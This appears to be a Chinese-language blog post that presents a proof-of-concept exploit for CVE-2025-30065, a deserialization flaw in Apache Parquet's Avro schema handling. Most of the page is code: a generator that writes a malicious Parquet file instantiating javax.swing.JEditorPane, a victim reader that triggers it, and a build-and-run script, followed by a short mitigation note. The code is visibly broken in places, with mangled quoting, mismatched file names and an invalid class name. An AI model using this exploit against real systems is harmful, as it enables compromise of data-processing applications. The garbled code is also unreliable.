图秀主页
56.67M · 2026-02-04
本POC项目完整演示了CVE-2025-30065漏洞的利用链:
ParquetExploitGenerator 类创建包含恶意Avro模式的Parquet文件。ParquetVictim 类模拟受害者应用程序读取恶意Parquet文件。PayloadRecord 类展示了静态初始化块中的命令执行逻辑(在新版POC中已被更隐蔽的类实例化逻辑覆盖)。项目提供了自动化构建脚本 CVE-2025-30065.sh。
sudo chmod +x CVE-2025-30065.sh
./CVE-2025-30065.sh
运行自动化脚本后,将按顺序执行以下操作:
ParquetExploitGenerator 创建一个名为 exploit-jeditorpane.parquet 的文件,其Avro模式的默认值字段被精心构造为实例化 javax.swing.JEditorPane 类。ParquetVictim 应用程序读取该文件,在反序列化Avro模式并处理默认值时触发目标类的实例化。整个漏洞利用的核心流程封装在Shell脚本中,其逻辑如下:
ParquetExploitGenerator.java)/**
* @author Blackash
* @version 1.3
* @license For authorized security research and educational purposes only.
*
* Generates a Parquet file with a crafted Avro schema to demonstrate CVE-2025-30065,
* aligned with the vulnerability logic observed in the official Apache patch.
*
* This version avoids using custom classes and instead leverages a standard Java class
* (javax.swing.JEditorPane) known to exhibit side effects when deserialized.
*
*/
import org.apache.avro.Schema;
import org.apache.hadoop.conf.Configuration;
import org.apache.hadoop.fs.Path;
import org.apache.parquet.avro.AvroParquetWriter;
import org.apache.parquet.hadoop.ParquetWriter;
import java.io.IOException;
public class ParquetExploitGenerator {
public static void main(String[] args) throws IOException {
// 默认输出文件名为 exploit-jeditorpane.parquet
String outputFile = args.length > 0 ? args[0] : "exploit-jeditorpane.parquet";
// 恶意Avro模式定义:其‘trigger’字段的类型被设置为‘javax.swing.JEditorPane’记录
String maliciousSchema = "{"
+ ""type": "record","
+ ""name": "ExploitRecord","
+ ""fields": ["
+ " {"name": "trigger","
+ " "type": {"type": "record", "name": "javax.swing.JEditorPane", "fields": []},"
+ " "default": {}" // 默认值为空对象,触发目标类实例化
+ " }"
+ "]"
+ "}";
// 解析模式
Schema schema = new Schema.Parser().parse(maliciousSchema);
Path path = new Path(outputFile);
Configuration conf = new Configuration();
// 使用AvroParquetWriter写入文件
try (ParquetWriter<Object> writer = AvroParquetWriter.builder(path)
.withSchema(schema)
.withConf(conf)
.build()) {
writer.write(null);
}
System.out.println("[+] Malicious Parquet file generated: " + outputFile);
System.out.println("[!] Schema instantiates javax.swing.JEditorPane via default value.");
}
}
ParquetVictim.java)package victim;
import org.apache.avro.generic.GenericRecord;
import org.apache.parquet.avro.AvroParquetReader;
import org.apache.parquet.hadoop.ParquetReader;
import org.apache.hadoop.conf.Configuration;
import org.apache.hadoop.fs.Path;
public class ParquetVictim {
public static void main(String[] args) throws Exception {
// 读取恶意Parquet文件
Path path = new Path("exploit.parquet");
ParquetReader<GenericRecord> reader = AvroParquetReader.<GenericRecord>builder(path)
.withConf(new Configuration())
.build();
// 读取记录,此操作会触发Avro模式中默认值的反序列化,从而实例化恶意类
GenericRecord record = reader.read();
System.out.println("Record loaded: " + record); // this triggers instantiation of default
}
}
CVE-2025-30065.sh)#!/bin/bash
BASE_DIR=$(pwd)
BUILD_DIR="$BASE_DIR/build/classes"
CP_FILE="$BASE_DIR/cp.txt"
JAR_DEPS=""
# 检查Maven并解析依赖
if command -v mvn &> /dev/null; then
echo "[+] Resolving dependencies with Maven..."
mvn dependency:build-classpath -Dmdep.outputFile=cp.txt > /dev/null
if [ ! -f "$CP_FILE" ]; then
echo "[-] Failed to generate classpath (cp.txt)."
exit 1
fi
JAR_DEPS=$(cat "$CP_FILE")
else
echo "[-] Maven not found. Please install Maven and run again."
exit 1
fi
# 创建构建目录
mkdir -p "$BUILD_DIR"
echo "[+] Compiling PayloadRecord.java..."
javac -d "$BUILD_DIR" PayloadRecord.java || exit 1
echo "[+] Compiling ParquetExploitGenerator..."
javac -cp ".:$BUILD_DIR:$JAR_DEPS" -d "$BUILD_DIR" POC-CVE-2025-30065-ParquetExploitGenerator.java || exit 1
echo "[+] Running exploit generator..."
java -cp ".:$BUILD_DIR:$JAR_DEPS" POC-CVE-2025-30065-ParquetExploitGenerator || exit 1
echo "[+] Compiling ParquetVictim.java..."
javac -cp ".:$BUILD_DIR:$JAR_DEPS" -d "$BUILD_DIR" ParquetVictim.java || exit 1
echo "[+] Running victim (payload should trigger)..."
java -cp ".:$BUILD_DIR:$JAR_DEPS" ParquetVictim
org.apache.parquet.avro.SERIALIZABLE_PACKAGES,仅允许受信任的包(避免使用 *)。org.apache.avro.TRUSTED_PACKAGES 来限制Avro模式行为。